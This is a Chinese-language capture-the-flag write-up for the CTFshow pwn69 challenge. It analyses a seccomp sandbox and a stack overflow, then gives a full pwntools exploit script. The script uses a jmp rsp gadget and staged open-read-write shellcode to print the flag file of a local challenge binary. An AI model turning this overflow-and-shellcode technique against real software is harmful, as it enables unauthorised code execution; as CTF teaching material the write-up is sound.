ctfshowpwn69

CTFshow pwn69的题解,网上有很多类似的WP,这里把当时看的时候几个疑惑的地方解释下:

题目提示我们用ORW去拿flag。checksec看一下,开了Partial RELRO ,其他保护没开,拖到IDA分析,有几个重点函数分析下:

mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); ,这函数作用就是从0x123000这个地址开始的0x1000个字节,给上写和执行权限权限。注意这里和linux操作系统文件权限有区别。mmap这里的4代表执行,2代表写,1代表读。

然后就是sub_400949这个函数,是一个沙箱函数,我们可以借助工具来分析还有哪些可以用。工具用法:seccomp-tools dump ./pwn69

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}

通过分析可以知道只有open 、read、write可以用。再来看看sub_400A16函数,发现存在栈溢出

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}

到这里,攻击思路就比较清晰了,我们想办法往mmap给的这个地址段里面写shellcode(ORW),然后跳转到这里执行,就OK了。

最终利用脚本 pwn69.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io=process("pwn69")
#orw的shellcode板子:
mmap=0x123000
orw_shellcode=shellcraft.open("/ctfshow_flag")
orw_shellcode+=shellcraft.read(3,mmap,100) #0代表stdin,1代表stdout,2代表标准错误输出。其他文件就是从3开始了。
orw_shellcode+=shellcraft.write(1,mmap,100)
shellcode=asm(orw_shellcode)
#payload,即栈溢出发送过去的数据
jmp_rsp=0x400a01
payload=asm(shellcraft.read(0,mmap,0x100)) #从标准输入里面读入0x100个字节到mmap
payload+=asm("mov rax,0x123000;jmp rax") # 跳转到mmap地址
payload=payload.ljust(0x28,'a') # buf距离ebp 0x20个字节,覆盖掉ebp的8个字节,再往后写就是覆盖返回地址。
payload+=p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.recvuntil('do')
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

这里的payload解释下,用我个人的话来说就是套娃的存在。这个payload就是先把返回地址覆盖成了jmp rsp ,然后通过改变rsp指针的值,让它指向buf,然后程序就会去执行我们一开始在payload里面写好的asm(shellcraft.read(0,mmap,0x100)) 以及 asm("mov rax,0x123000;jmp rax")

到这里有几个地方需要解释下:jmp rsp 之后改变了程序的执行流程,后面也都会被当作程序指令去执行,所以我们sub rsp,0x30;jmp rsp才会被当作指令去执行。另外一点就是sub rsp,0x30起到了一个什么作用,可能一开始是有点懵的,其实画个图就很清楚了。

pwn69_2.png

执行到返回地址时,此时rsp指向返回地址,pop弹出到ip,然后此时rsp指向为红色rsp,然后ip执行jmp rsp,相当于跳转到了红色rsp那里的执向,然后就会执行asm(sub rsp xxx) 至于buf和此时的rsp为啥是0x30,这个可以通过gdb调试去看。然后jmp rsp,再一次改变程序执行流程,就会来到蓝色rsp这里执行了。就套了一层读入的操作(此时我们就可以往mmap读shellcode),然后跳转到mmap那边执行。就成功了。

这里的调试也要注意,断点打在read函数调用完之后,(打到之前发现程序每次都是把read走完了的,并没有停下来。这里感谢肖总帮我看了很久。。。)